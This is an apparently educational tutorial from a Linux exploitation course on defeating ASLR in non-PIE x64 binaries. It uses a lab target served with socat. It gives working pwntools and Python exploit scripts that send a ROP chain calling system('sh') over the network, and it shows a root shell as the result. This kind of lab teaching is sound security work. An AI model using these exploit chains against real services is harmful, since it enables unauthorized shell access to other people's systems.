Tutorial

Bypassing ASLR on x64 Linux

Defeat Address Space Layout Randomization by leveraging fixed addresses in the binary when PIE is disabled.

2 min read advanced

Prerequisites

  • Understanding of ASLR and PIE
  • Experience with ROP chains
  • Knowledge of PLT/GOT
  • pwntools familiarity

Part 11 of 13 in Linux Exploitation Fundamentals

Table of Contents

ASLR randomizes memory addresses at runtime, making exploitation more difficult. However, when PIE (Position Independent Executable) is disabled, the binary’s own addresses remain fixed, providing a foothold for exploitation.

Note

Lab Binary This tutorial uses the target binary from the Linux Exploitation Lab (07-aslr-bypass/). See the setup guide for build instructions.

Understanding ASLR

ASLR randomizes:

  • Stack addresses
  • Heap addresses
  • Library (libc) addresses
  • mmap regions

Without PIE, these remain fixed:

  • Binary code (.text)
  • PLT/GOT sections
  • Strings in the binary
  Run 1                     Run 2
  +-----------------+       +-----------------+
  | Stack  0x7ffd.. | ?     | Stack  0x7fff.. | ?
  +-----------------+       +-----------------+
  | Libs   0x7f3a.. | ?     | Libs   0x7f12.. | ?
  +-----------------+       +-----------------+
  | Heap   0x5641.. | ?     | Heap   0x55b2.. | ?
  +-----------------+       +-----------------+
  | .text  0x400000 | fixed | .text  0x400000 | fixed
  | PLT    0x400500 | fixed | PLT    0x400500 | fixed
  | .rodata0x400800 | fixed | .rodata0x400800 | fixed
  +-----------------+       +-----------------+

  ASLR changes stack/libs/heap each run.
  Without PIE, .text and PLT stay put.

Initial Analysis

Verify ASLR is Active

cat /proc/sys/kernel/randomize_va_space
2   # Full ASLR enabled

Finding the Offset

Generate a core dump outside GDB (addresses differ inside debugger):

ulimit -c unlimited
cat pattern.txt | ./target
# Segmentation fault (core dumped)

Analyze the core:

gdb -q ./target ./core
gdb-peda$ x/10gx $rsp
0x7ffc10dda218: 0x414f41413941416a      0x6c41415041416b41
gdb-peda$ pattern offset 0x414f41413941416a
found at offset: 120

RIP offset is 120 bytes.

Examining the Binary

gdb-peda$ info functions
0x0000000000400580  puts@plt
0x0000000000400590  system@plt
0x00000000004005a0  printf@plt
0x00000000004006e6  main

The binary imports system() - we can use system@plt directly.

Finding Useful Addresses

system@plt

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x400590 <system@plt>

This address is fixed regardless of ASLR.

String in Binary

Search for useful strings:

gdb-peda$ find sh
bypass_aslr : 0x40085c --> 0x65746e450a006873 ('sh')

The string “sh” exists at 0x40085c. system("sh") works because system() invokes /bin/sh -c <command>, and sh is found via the PATH environment variable. This is equivalent to system("/bin/sh") on most systems but uses fewer bytes in the ROP chain since we only need the string sh rather than /bin/sh.

ROP Gadget

ROPgadget --binary target --only "pop|ret" | grep rdi
0x00000000004007f3 : pop rdi ; ret

Building the Exploit

Local Testing

#!/usr/bin/env python3
import sys
from struct import pack

p64 = lambda x: pack("Q", x)

pop_rdi = 0x4007f3      # pop rdi; ret
system_plt = 0x400590   # system@plt
sh_string = 0x40085c    # "sh" string

buf = b"A"*120          # Junk
buf += p64(pop_rdi)     # Load next value into RDI
buf += p64(sh_string)   # "sh" -> RDI
buf += p64(system_plt)  # system("sh")

sys.stdout.buffer.write(buf)

Network Exploit

Note

Before running the exploit, set up the vulnerable binary as a network service. See the Serving the Vulnerable Binary section below for socat setup.

For a network service, use pwntools’ remote() rather than telnetlib (which was deprecated in Python 3.11 and removed in 3.13):

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

pop_rdi = 0x4007f3
system_plt = 0x400590
sh_string = 0x40085c

r = remote('192.168.1.100', 5556)
r.recvuntil(b'>')

payload  = b'A' * 120
payload += p64(pop_rdi)
payload += p64(sh_string)
payload += p64(system_plt)

r.sendline(payload)
r.interactive()

Execution

python3 exploit.py

#### Yet another exploitation challenge ####

Hope for a crash
Enter something:
>
[*] Sending payload
[*] Got shell. Enter commands.
 Input Updated !
id
uid=0(root) gid=0(root) groups=0(root)

Serving the Vulnerable Binary

For testing, serve the binary with socat:

socat tcp-listen:5556,reuseaddr,fork exec:"./target"

Why This Works

ASLR Randomizes:          Fixed (No PIE):
┌─────────────────┐       ┌─────────────────┐
│   Stack         │ ?     │   .text         │ 0x400000
│   (random)      │       │   PLT/GOT       │
├─────────────────┤       │   .rodata       │
│   Libraries     │ ?     └─────────────────┘
│   (random)      │
├─────────────────┤
│   Heap          │ ?
│   (random)      │
└─────────────────┘

We only need addresses from the binary itself:
- system@plt (fixed)
- "sh" string (fixed)
- ROP gadgets (fixed)

Alternative: Using Binary’s Own /bin/sh

If the binary contains /bin/sh:

gdb-peda$ find /bin/sh
bypass : 0x400abc --> 0x68732f6e69622f ('/bin/sh')

Use this instead of “sh” for a more standard shell.

Handling PIE

If PIE is enabled, the binary’s addresses are also randomized. Solutions:

  1. Information Leak: Leak a code pointer to calculate base
  2. Partial Overwrite: Overwrite only lower bytes (less randomized)
  3. Brute Force: On 32-bit, randomization is weaker

Pwntools Version

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./target')
rop = ROP(elf)

# Connect
p = remote('192.168.1.100', 5556)

# Build ROP chain
rop.call('system', [next(elf.search(b'sh\x00'))])

# Create payload
payload = b'A' * 120
payload += rop.chain()

# Send
p.recvuntil(b'>')
p.sendline(payload)
p.interactive()

Key Takeaways

  1. ASLR vs PIE: ASLR randomizes libraries/stack; PIE randomizes the binary
  2. PLT is your friend: system@plt works even with ASLR
  3. Find strings in binary: Avoid needing libc addresses
  4. Fixed gadgets: ROP gadgets in the binary don’t move
  5. Core dumps help: Get real addresses outside GDB